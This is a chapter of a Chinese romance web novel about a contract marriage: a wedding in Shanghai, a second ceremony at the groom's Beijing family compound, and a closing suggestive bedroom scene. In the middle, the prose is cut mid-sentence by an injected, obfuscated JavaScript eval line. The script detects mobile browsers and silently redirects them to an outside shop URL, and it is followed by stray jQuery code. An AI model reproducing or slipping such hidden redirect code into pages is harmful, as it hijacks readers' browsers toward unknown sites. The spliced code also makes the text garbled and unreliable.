仪式结束。
苏若婉和亲友拍了些照片后,在许思妍的陪同下回休息室换装。
两人走的是另一侧阶梯,沿途经过几间VIP休息室。其中一间门半掩着,里面传出几道压低的女声。
“刚刚那个吻,看见了吗?”
“看见了,就碰了一下。”
“下台时挽着是挽着,但中间都能塞下一个我。”
“我就说嘛,联姻而已,哪有什么感情。”
许思妍抬脚就要冲进去。
苏若婉立刻拉住她,继续往休息室走。
进门后,她才问:“很明显吗?”
许思妍想了想,也没哄她:“她们说得夸张,但确实不算亲密。”
苏若婉没说话。
刚才被仪式堆起来的那点柔软情绪,慢慢淡了下去。
楼下。
祁宗言正陪着苏父和白女士,与亲戚寒暄敬酒。
苏若婉换完妆造,神色如常地走下侧梯。
现场宾客的目光一齐聚过来,赞叹声此起彼伏。
苏父和祁宗言听到动静,同时转头。
苏若婉没换衣服,只是把婚纱的披肩及拖尾拆掉,露出本身芭蕾舞裙款式的礼服。
盘发也改成了蓬松慵懒的侧麻花辫。
她站在灯下,颈线修长,肩背挺直,像一只优雅的白天鹅。
腿上那双前后拼接的网状丝袜,又为她添了几分若有若无的性感。
小腿后侧那段蕾丝刺绣与脚上的蕾丝高跟鞋连成一体。点缀其间的钻石泛着细碎的光,随步伐移动。
祁宗言眼底亮了一瞬,随即压深。
苏父侧过头压低声音,语气里带着掩不住的骄傲:“囡囡从小学芭蕾,气质好伐?”
祁宗言应了一声,视线再没移开。
苏若婉走近,轻轻拉了一下他的衣袖,“过来一下。”
两人往一旁的廊下走去。
身后朋友那桌,Lily忍不住哀嚎。
“我这婚礼还怎么办,我选的婚纱还怎么穿?”
“哎哟。”许思妍笑了,“除了我们,宾客大部分都不是同一批人,怕什么啦。”
Linda叹气:“我这身材,也穿不上啊。”
一桌人都笑起来。
乔安弯了弯唇,难得开口:“各有各的风格。”
赵文胤端着酒,像是串门似的晃过来,刚好接上一句:“新娘子太漂亮,各位有压力很正常。”
他要不是姓赵,估计得挨揍。
另一边。
苏若婉抱着手臂站在廊下,脸色已经冷下来。
“祁宗言。”她毫不客气,“你的戏也太差了。”
祁宗言目光从她笔直修长的腿移到她脸上,“哪儿不满意?”
苏若婉声音压低,明显带着火气:“你离得那么远,是生怕别人看不出来?”
祁宗言听完,嘴角轻轻一勾,抬手直接把人揽到怀里,“那这样?”
苏若婉猝不及防贴上去,脸色更不好看了。她攥拳捶了他一下,“太近了,松开一点。”
“刚才远了不高兴。”祁宗言不紧不慢说:“现在近了也不行。”
他低头看她,“苏小姐,有点难伺候。”
苏若婉被他一句话气得心火直冒,“那你就别伺候。”
祁宗言没接这句,反而扣住她的腰,带着人往前走:“补回来。”
苏若婉一愣,回过神来咬着牙低声道:“你就这么没有合约精神?”
祁宗言停了脚步,“苏小姐穿了这么久的高跟鞋,不累吗?”
他手臂收紧,两人之间贴得严丝合缝,“靠着我,省点力气。”
苏若婉没法当众挣开,只能抬手在他后腰狠狠拧了一把。
祁宗言面不改色,带着她继续随苏父、白女士与亲朋好友敬酒。
所到之处,宾客无不感叹。
“真般配。”
“小两口感情很好啊。”
“祁先生这一路都没松过手。”
“看着冷,疼人倒是真的。”
苏父和白女士笑得合不拢嘴。
苏聿看着这一幕,低声笑:“宗言还是有点本事个呀。”
宋佳怡也笑:“真真看勿出,认得才三个月。”
按照苏若婉的安排,祁家那边婚礼就定在次日,她不想把时间线拉得太长。
京城那一场宾客复杂,既有政商往来,也有裴昭宁海外娘家的大批亲属。
此刻正是接待与统筹最繁忙的时候。
这边婚宴持续到午后两点才结束,秦思带着团队立刻启程回京。
晚上,苏家远道而来的亲友简单聚了一下。
因为明天一早要动身,席间没人贪杯,九点多就散了。
回到老宅,苏若婉在宋佳怡的帮忙下,卸妆沐浴换了套舒适的居家服。
众人在偏厅商议明天行程。
她本就喝了酒,又一整天情绪起伏,坐下没多久就靠在祁宗言肩上睡了过去。
厅里的说话声渐渐止住。
祁宗言低声道:“我先送她回房间。”
他将人打横抱起,稳步走出偏厅,乘坐电梯上到三楼。
房间里还残留着浓郁的花香,红色的床品带着喜气,仿佛早晨的热闹还没散。
祁宗言将她放到床上,盖好被子。
他坐在床边,看着她睡着安静的模样。
白天的冷傲被睡意化开,眉眼都软了下来。
月光从窗户漫进来,在地面洒下一片皎洁。
祁宗言俯身在她额头上落下很轻的一吻,便起身离开了房间。
回到偏厅,祁宗言向众人道别。
“明早九点半,我来接大家去机场。”他看向丽姨,“不用准备,饮水和餐食已经安排好了。”
等人离开,白女士轻轻叹了口气,“囡囡眼光还是蛮好的。”
“姆妈,当初侬不是讲过个伐?”苏聿笑着打趣,学着当初白女士的手势,竖起大拇指和小拇指:“伊比囡囡大六岁,人又冷清清,勿大会疼人。”
白女士嗔了他一眼,“小赤佬,又拿姆妈开玩笑。”
偏厅里顿时笑成一片。
而正在睡梦中的苏若婉,唇角微微弯着,像是做了一个不错的梦。
次日早晨,苏若婉神采奕奕地踏上祁宗言的私人飞机。
离落地还有一小时,Ken已经在后舱将她的造型全部完成。
许思妍坐在一旁都看傻眼了。
她从来没见过这样的苏若婉。
头戴一顶金制凤冠,金丝层层叠起,搭出立体的冠形。
下层铺满大小错落的珠花,花心嵌着红蓝宝石,周围环绕点翠云纹与叶饰。
中层是数只展翅的翠凤。
冠顶正中的金凤口衔一枚十克拉无烧克什米尔皇家蓝蓝宝石,两侧凤首则口衔南洋白珠串饰垂至两颊,随着动作轻轻晃动。
明制大衫外袍,底色是青蓝织金缎,衣摆及地。走动时正红色里襟与系带一闪而过。
肩披两条翟纹锦缎霞帔,下端垂至身前相连,底部挂着一枚钑花金坠。
“阿婉,你这是要做啥啦。”许思妍回过神举起手机一通连拍,“我们还怎么站在你边上啦。”
乔安也被震住了,反应慢了一拍。
“阿婉……”她轻轻吸了口气,眼底满是惊艳,“美得太过分了。”
苏若婉微微偏过头,看向陆君泽。
“好看。”他眼底带着笑意,“今天依旧是你的主场。”
苏若婉弯起红唇,转身走到前舱。
苏老爷子看见她,慢慢站起身,从上到下打量了一遍,最后目光停在凤冠上。
“好。”
白女士走到她身前,怔怔地抬起手,想碰又没碰,声音很轻:“怎么……这么好看。”
苏父神色微变,“这套,是祁家准备的?”
白女士点了点头,转头看向苏老爷子:“爸,我听昭宁说,这套是按她们祖上留下的规制做的,还有明朝公爵那一脉传下来的物件。”
苏老爷子重新坐下,笑着指了指那枚钑花金坠,“这个。”
苏若婉低头盯着那个金坠,只觉得沉甸甸的。
苏父缓声道:“祁家这样,我们放心了。”
四架私人飞机先后落地,在指定位置停稳后同时打开舱门。
停机坪上,黑色迈巴赫S680领头,后方数辆A8依次排开,两侧停着几辆迈莎锐MPV。
放眼望去,没有一块车牌是寻常号码。
不远处的地勤人员有人刚要拿出手机,便被同伴低声拦住:“别拍。”
祁宗言带着赵文胤和另一位朋友率先从第一架飞机下来。
苏聿、宋佳怡分别领着亲友从后面两架陆续下机。
祁宗言站在第二架飞机的舷梯旁等候。
苏父和白女士扶着苏老爷子慢慢走下来,他简单打过招呼后登机走向后舱。
苏若婉坐在那里,双手藏在袖中叠在身前,带着笑意抬眼看他。
祁宗言见过不少人靠衣饰撑气场。可眼前这身华服,偏偏被她压住了。
他走过去在她面前停下,声音有些沉:“走吧。”
苏若
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17605664|204658||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
婉微微一怔,原本以为他会说点什么。
祁宗言伸手将她抱起来,“回家。”
车队行驶一段后,离开主干道拐入一条限行路段。
前方出现一处岗亭,车队直接驶入。
祁家在此处建了一座合院。
院落层层铺开,几处独立的院子视线并不互通,由回廊串联,各自成局。
车队缓缓驶入最外一进院子的停车区,依次停稳。
祁衡和裴昭宁带着两家亲友站在院门前迎接。
除了婚车,其余车上的人陆续下车,简单寒暄后分列在入口两侧。
外院的气氛一下子热起来。
祁宗言拉开后座车门,刚把人扶下车,礼炮声忽然响起。
小孩们一人拎着一个缎面小袋,从里面抓起一把金箔纸往空中一撒,碎金在阳光里纷纷落下。
“大嫂。”祁宗煜站在最前面,看见苏若婉愣了愣,随即夸张地拱手行礼,“皇后娘娘万福金安。”
裴昭宁笑着上前拉起苏若婉的手,她的目光从凤冠落到霞帔,眼底的喜色一点点漫开:“我儿子有福气。”
亲友被引向各自院落,笑声与寒暄渐渐散开。
祁衡走到苏老爷子面前,语气沉稳:“苏老,辛苦了。里面请。”
苏父与白女士扶着苏老爷子往里走,苏聿、宋佳怡随行。
秦思带着苏若婉去了内侧厢房。
没过多久,祁宗言敲门进来。
他换了一身玄青色中式礼服,在光下缎面折出若隐若现的金影。收紧的立领衬得下颌线愈发硬朗,斜襟上一颗白玉盘扣压在胸口,更显沉稳。
“祁先生,气度不凡啊。”苏若婉打趣:“比平时那死板的西装好看多了。”
秦思站在一旁捂嘴笑。
祁宗言挑了挑眉,走近一步俯身抬手:“苏小姐能否赏光,陪我一同去奉茶?”
苏若婉扬起下巴,手搭上去,起身跟着他出了门。
奉茶之后,她换了身中式高定礼服,和祁宗言站在内院门口等候。
不多时,祁衡和裴昭宁引着一行老人走过来。
这些人年纪虽长,精神却很好,走近时自有一股压得住场的气势。
秦思在她耳边低声报出每一位的身份,苏若婉听着,唇角始终维持着得体的笑意。
基本都是祁老爷子和苏老爷子当年的旧部。
他们被引入内院席位,几句寒暄之后,目光都落向一对新人,夸赞随之而来。
苏若婉一一应下,礼数得体。
短暂停顿后,他们移步到中庭。
五分钟后抵达的宾客,苏若婉不用秦思介绍,已经知道分量。
平时只有在新闻报道中出现的这些人,让她挽着祁宗言臂弯的手微微收紧。
祁宗言侧头看着她,抬手轻轻在她手背按了一下。她抬眼看去,他神色自若,好像这些场面对他而言只是日常。
她忽然想起苏聿曾经说过的话,也第一次真正意识到,祁宗言不是单纯背景深厚的商人。
他站着的地方,本就是她从前很少踏入的世界。
最后落座外院席位的,则是祁宗言体系内分布各地的核心人物。
这些人要说出来,也是各行各业难得一见的人物。
但苏若婉反而松了口气,神色从容地站在祁宗言身侧,坦然接受所有的祝贺。
这天从早到晚,直到回了祁家大院,苏若婉神经才彻底松了下来。
她在东楼自己房间里泡了个澡,慢悠悠抿了杯香槟。
换好睡裙她靠坐在床头,这两天的片段在眼前一幕幕浮现。
地暖烘得她心口发燥。
她下床走到房门前,手搭在门把手上时,警报声在脑海里响起,可她还是压了下去,拉开房门。
祁宗言穿着浴袍斜靠在对面墙边。
他抬眼看过来,眸色漆黑。
苏若婉脑子突然一片空白,喉咙发紧。
什么时候香槟的度数这么高了。
“我可能喝多了。”她往前走了一步,停在他面前,“胆子有点大。”
祁宗言没动,声音压得很低:“想清楚了?”
她抬眼看他,手指勾住他浴袍的系带,红唇轻弯:“今晚不用保持距离。”
祁宗言眼底暗色翻涌。
他伸手将她带到身前,扣住她的腰低头吻了下来。
舌尖从她齿间挤进去的时候,苏若婉手臂环上了他脖子,整个人软在他怀里。
祁宗言直接将人抱起,进了房间。
“咔嗒”一声。
门在身后轻轻合上。